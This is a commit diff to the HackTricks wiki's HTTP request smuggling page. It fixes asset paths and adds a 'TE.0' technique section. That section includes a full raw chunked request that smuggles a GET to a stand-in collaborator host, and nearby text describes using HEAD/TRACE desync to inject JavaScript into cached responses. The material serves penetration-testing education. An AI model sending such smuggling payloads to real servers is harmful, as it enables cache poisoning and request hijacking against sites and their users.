Skip to content

Commit 8cf9463

Browse files
carlospolopgitbook-bot
authored andcommitted
GITBOOK-4372: No subject
1 parent f3160bc commit 8cf9463

File tree

1 file changed

+37
-8
lines changed
  • pentesting-web/http-request-smuggling

1 file changed

+37
-8
lines changed

pentesting-web/http-request-smuggling/README.md

Lines changed: 37 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,8 @@
11
# HTTP Request Smuggling / HTTP Desync Attack
22

33
{% hint style="success" %}
4-
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
5-
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
4+
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
5+
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
66

77
<details>
88

@@ -60,6 +60,10 @@ HTTP request smuggling attacks are crafted by sending ambiguous requests that ex
6060

6161
![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
6262

63+
{% hint style="info" %}
64+
To the previous table you should add the TE.0 technique, like CL.0 technique but using Transfer Encoding.
65+
{% endhint %}
66+
6367
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
6468

6569
* **Front-End (CL):** Processes the request based on the `Content-Length` header.
@@ -137,7 +141,7 @@ HTTP request smuggling attacks are crafted by sending ambiguous requests that ex
137141
: chunked
138142
```
139143
140-
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End):**
144+
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
141145
142146
* Both servers process the request based solely on the `Content-Length` header.
143147
* This scenario typically does not lead to smuggling, as there's alignment in how both servers interpret the request length.
@@ -152,9 +156,9 @@ HTTP request smuggling attacks are crafted by sending ambiguous requests that ex
152156
Normal Request
153157
```
154158
155-
#### **CL != 0 Scenario:**
159+
#### **CL.0 Scenario**
156160
157-
* Refers to scenarios where the `Content-Length` header is present and has a value other than zero, indicating that the request body has content.
161+
* Refers to scenarios where the `Content-Length` header is present and has a value other than zero, indicating that the request body has content. The back-end ignores the `Content-Length` header (which is treated as 0), but the front-end parses it.
158162
* It's crucial in understanding and crafting smuggling attacks, as it influences how servers determine the end of a request.
159163
* **Example:**
160164
@@ -167,6 +171,30 @@ HTTP request smuggling attacks are crafted by sending ambiguous requests that ex
167171
Non-Empty Body
168172
```
169173
174+
#### TE.0 Scenario
175+
176+
* Like the previous one but using TE
177+
* Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
178+
* **Example**:
179+
180+
```
181+
OPTIONS / HTTP/1.1
182+
Host: {HOST}
183+
Accept-Encoding: gzip, deflate, br
184+
Accept: */*
185+
Accept-Language: en-US;q=0.9,en;q=0.8
186+
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
187+
Transfer-Encoding: chunked
188+
Connection: keep-alive
189+
190+
50
191+
GET <http://our-collaborator-server/> HTTP/1.1
192+
x: X
193+
0
194+
EMPTY_LINE_HERE
195+
EMPTY_LINE_HERE
196+
```
197+
170198
#### Breaking the web server
171199
172200
This technique is also useful in scenarios where it's possible to **break a web server while reading the initial HTTP data** but **without closing the connection**. This way, the **body** of the HTTP request will be considered the **next HTTP request**.
@@ -550,7 +578,7 @@ X-Forwarded-For: xxx.xxx.xxx.xxx
550578
```
551579

552580
An example on how to abuse this behaviour would be to **smuggle first a HEAD request**. This request will be responded with only the **headers** of a GET request (**`Content-Type`** among them). And smuggle **immediately after the HEAD a TRACE request**, which will be **reflecting the sent dat**a.\
553-
As the HEAD response will be containing a `Content-Length` header, the **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** in the response. \
581+
As the HEAD response will be containing a `Content-Length` header, the **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** in the response.\
554582
This response will be sent to the next request over the connection, so this could be **used in a cached JS file for example to inject arbitrary JS code**.
555583

556584
### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
@@ -735,10 +763,11 @@ def handleResponse(req, interesting):
735763
* [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
736764
* [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
737765
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
766+
* [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
738767

739768
{% hint style="success" %}
740-
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
741-
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
769+
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
770+
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
742771

743772
<details>
744773

0 commit comments

Comments
 (0)